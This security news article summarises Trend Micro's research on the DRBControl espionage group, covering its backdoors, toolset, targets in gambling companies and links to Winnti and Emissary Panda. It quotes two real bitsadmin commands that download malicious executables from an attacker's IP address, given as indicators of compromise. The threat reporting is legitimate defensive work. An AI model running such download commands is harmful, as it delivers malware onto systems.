Pierluigi Paganini February 19, 2020

The DRBControl APT group has been targeting gambling and betting companies worldwide with malware that links to two China-linked APT groups.

Security researchers from TrendMicro have uncovered a cyber espionage campaign carried out by an APT group tracked as DRBControl that employed a new family of malware. The attackers aimed at stealing databases and source code from gambling and betting companies in Southeast Asia, and likely in Europe and the Middle East.

“The threat actor is currently targeting users in Southeast Asia, particularly gambling and betting companies. Europe and the Middle East were also reported to us as being targeted, but we could not confirm this at the time of writing.” reads the analysis published by Trend Micro. “Exfiltrated data was mostly comprised of databases and source codes, which led us to believe that the group’s main purpose is cyberespionage.”

Trend Micro become aware of the new backdoor after the group targeted a company in the Philippines using both common and custom malware and exploitation tools.

Threat actors used two previously unidentified backdoors, known malware families such as PlugX and the HyperBro backdoor, as well as custom post-exploitation tools. One of the backdoors leverages the file hosting service Dropbox as command-and-control (C&C).

The group was also observed using modified versions of common malware such as PlugX RAT, Trochilus RAT, keyloggers using the Microsoft Foundation Class (MFC) library, the custom in-memory HyperBro backdoor, and a Cobalt Strike sample.

The arsenal of the attackers includes post-exploitation tools such as password dumpers (Quarks PwDump, modified Mimikatz, NetPwdDump), tools for bypassing UAC, and code loaders.

In the DRBControl’s arsenal experts recognized two main backdoors (Type 1 and Type 2) that were previously unknown in the threat landscape.

Another backdoor accompanies Type 1 and has the role of executing malware that has been downloaded from Dropbox and loaded in memory.

Type 1 backdoor is executed by employing DLL side-loading, it executes a malware that has been downloaded from Dropbox and loaded in memory.

The malware was used to steal Office and PDF documents, key logs, SQL dumps, browser cookies, a KeePass manager database.

The type 2 backdoor uses a configuration file that includes the C&C domain and connection port, as well as the directory and filename where the malware is copied. The configuration file is obfuscated in a registry key in order to achieve persistence.

Both backdoors implement a User Account Control mechanism bypass, they also implement a keylogging feature.

Researchers observed that a first variant of the Type 1 backdoor was released in late May, 2019, while version 9.0 is dated October, 2019.

The Type 2 backdoor was first released in July 2017, it was employed in a spear-phishing attack distributing a weaponized Microsoft Word document.

This circumstance suggests that DRBControl has been active at least since 2017, but Trend Micro speculates it had a longer run.

Trend Micro experts believe that this is the first time that the DRBControl group is tracked by the security experts. The researchers linked the DRBControl to other China-linked APT groups, including Winnti and Emissary Panda (a.k.a. BRONZE UNION, APT27, Iron Tiger, LuckyMouse).

Evidence of the links to the Winnti group includes from mutexes, domain names and issued commands.

Researchers noticed that the attackers used two commands issued on a compromised machine to download malicious executables from a domain. One of the executables (t32d.exe) was used in the past to contact a different domain name involved campaigns associated with the Winnti infrastructure.

• bitsadmin /transfer n http://185.173.92[.]141:33579/i610.exe c:\users\public\wget.exe
• bitsadmin /transfer n http://185.173.92[.]141:33579/t32d.exe c:\users\public\wget.exe

Experts pointed out that the HyperBro backdoor is exclusive to Emissary Panda.

At the time it is not possible to associate with high confidence the DRBControl group with a specific threat actor, it is not completely clear if the attackers belong to a new APT group or it is a subgroup of a known APT group linked to China.

“Attribution is a complicated aspect of cybersecurity, and it is not the goal of this publication. What we have discovered in our analysis, however, is the existence of a significant number of indicators of compromise (IoCs) and intriguing connections with at least two known APT groups.” concludes TrendMicro.

“The threat actor described here shows solid and quick development capabilities regarding the custom malware used, which appears to be exclusive to them. The campaign exhibits that once an attacker gains a foothold in the targeted entity, the use of public tools can be enough to elevate privileges, perform lateral movements in the network, and exfiltrate data.”

Additional technical details, such as IoCs, are included in the report published by TrendMicro.

Pierluigi Paganini

(SecurityAffairs – hacking, DRBControl)

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